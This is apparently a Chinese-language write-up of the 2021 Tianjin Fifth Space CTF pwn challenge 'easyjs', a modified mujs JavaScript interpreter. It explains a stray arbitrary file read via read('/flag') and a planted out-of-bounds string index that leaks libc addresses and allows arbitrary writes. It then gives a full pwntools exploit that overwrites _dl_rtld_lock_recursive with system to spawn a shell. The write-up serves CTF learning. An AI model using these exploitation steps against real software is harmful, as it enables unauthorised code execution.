2021 天津第五空间线下赛 easyjs Writeup

2021 年天津第五空间大赛线下赛 easyjs Writeup

1. 题目

附件下载

LIBC 环境:Ubuntu GLIBC 2.23-0ubuntu11.3

从靶机上下载得到一个mujs程序。checksec 发现没有开启PIEFull RELRO

root@05a4d8780eeb:/pwn# checksec mujs
[*] '/pwn/mujs'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

运行mujs可以发现这是一个 Javascript 解释器。

用 IDA 打开发现程序没有 strip,完整保留着所有的函数名称和一些常量名。

2. BUG 1(非预期?)

read("/flag")

事实上 mujs 有一个内置函数read可以读取任意文件。可能是出题人粗心,出题的时候没有把这个函数 nop 掉。

patch 方法很简单,直接把jsB_read函数中的s[n] = 0改成s[0] = 0就行了。

3. BUG 2

当意识到这是 JS 题目时,最先想到的是 OOB 漏洞。尝试了几轮,最后发现 字符串变量+大数值下标 时程序发生 crash。

a = '';
a[0x1000000]; // crash!

沿着 backtrace 找到jsR_hasproperty函数,发现访问字符串变量时:

  1. 当下标为0x13370x7331时,可以泄露__libc_start_main和堆缓冲区地址(方式是将地址写入到储存字符串的缓冲区u.number中);
  2. 没有检查下标是否越界。

类似地,jsR_setproperty函数(负责处理a[X] = Ya.X = Y语句)也发现了出题人留下的漏洞。

上图是处理字符串的这部分代码,被改成 将数据写到以缓冲区u.number前 8 字节为基址的任意偏移上了。

结合上述两个漏洞,我们能够实现泄露 libc 与堆地址和任意地址写

4. EXP

说一下写 EXP 遇到的坑。

我一开始使用的是空字符串a = ''。然后发现触发漏洞之后,无论做什么malloc()都会报错。

开 gdb 检查一下报错信息提到的堆地址。发现 mujs 越过缓冲区,直接把泄露的地址写到堆块头部上了。

使用长度大于 8 的字符串就没问题 。估计 mujs 给空字符串分配了长度为 0 的缓冲区,导致触发漏洞的同时破坏了缓冲区相邻的堆块。

另外,由于受到今年 TCTF Final QuickJS 题的影响,以为 mujs 只能一次写 4 个字节数据(实际上可以直接写 8 字节的)。所以浪费了点时间将 EXP 中所有 8 字节 payload 拆成两个 4 字节。

不过写 8 字节功能有 BUG。如图可能是浮点数转换精度有问题,把/bin/sh写成0bin/sh了。


首先使用a[0x1337]触发漏洞,然后访问a[0]~a[6]泄露 libc 地址。

p.sendlineafter('>', "a='aaaaaaaa'")
p.sendlineafter('>', "a[0x7331]")

addr = 0

for i in range(6):
    p.sendlineafter('>', "a[%d]" % i)
    p.recvline()
    n = int(p.recvline())
    if n < 0: 
        n += 0x100
    addr += n << (i * 8) 

libcbase = addr - 0x20750

然后通过a进行 libc 任意偏移写。这里我通过覆盖dl.so上的_dl_rtld_lock_recursive指针来 get shell。

system      = libcbase + 0x453a0
# _rtld_global+2312
rtld_global = libcbase + 0xb3f948
# _rtld_global->_dl_rtld_lock_recursive
rtld_lock_func_ptr = libcbase + 0xb3ff48

p.sendlineafter('>', "a[%d] = %d" % (rtld_lock_func_ptr-addr, system))
p.sendlineafter('>', "a[%d] = %d" % (rtld_global-addr,   0x6e69622f))
p.sendlineafter('>', "a[%d] = %d" % (rtld_global-addr+4, 0x68732f))

p.sendline("quit()") # call exit()

效果如下:

当然也可以直接写 GOT 表,因为程序没有开启PIEFull RELRO


完整 EXP:

#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64")
context(log_level="debug")

p = process("./mujs")

p.sendlineafter('>', "a='aaaaaaaa'")
p.sendlineafter('>', "a[0x7331]")

addr = 0

for i in range(6):
    p.sendlineafter('>', "a[%d]" % i)
    p.recvline()
    n = int(p.recvline())
    if n < 0: 
        n += 0x100
    addr += n << (i * 8) 

libcbase = addr - 0x20750
info("libc_main: 0x%lx", addr)
info("libcbase: 0x%lx", libcbase)

system      = libcbase + 0x453a0
# _rtld_global+2312
rtld_global = libcbase + 0xb3f948
# _rtld_global->_dl_rtld_lock_recursive
rtld_lock_func_ptr = libcbase + 0xb3ff48

p.sendlineafter('>', "a[%d] = %d" % (rtld_lock_func_ptr-addr, system))
p.sendlineafter('>', "a[%d] = %d" % (rtld_global-addr,   0x6e69622f))
p.sendlineafter('>', "a[%d] = %d" % (rtld_global-addr+4, 0x68732f))

p.sendline("quit()") # call exit()

p.interactive()

Comments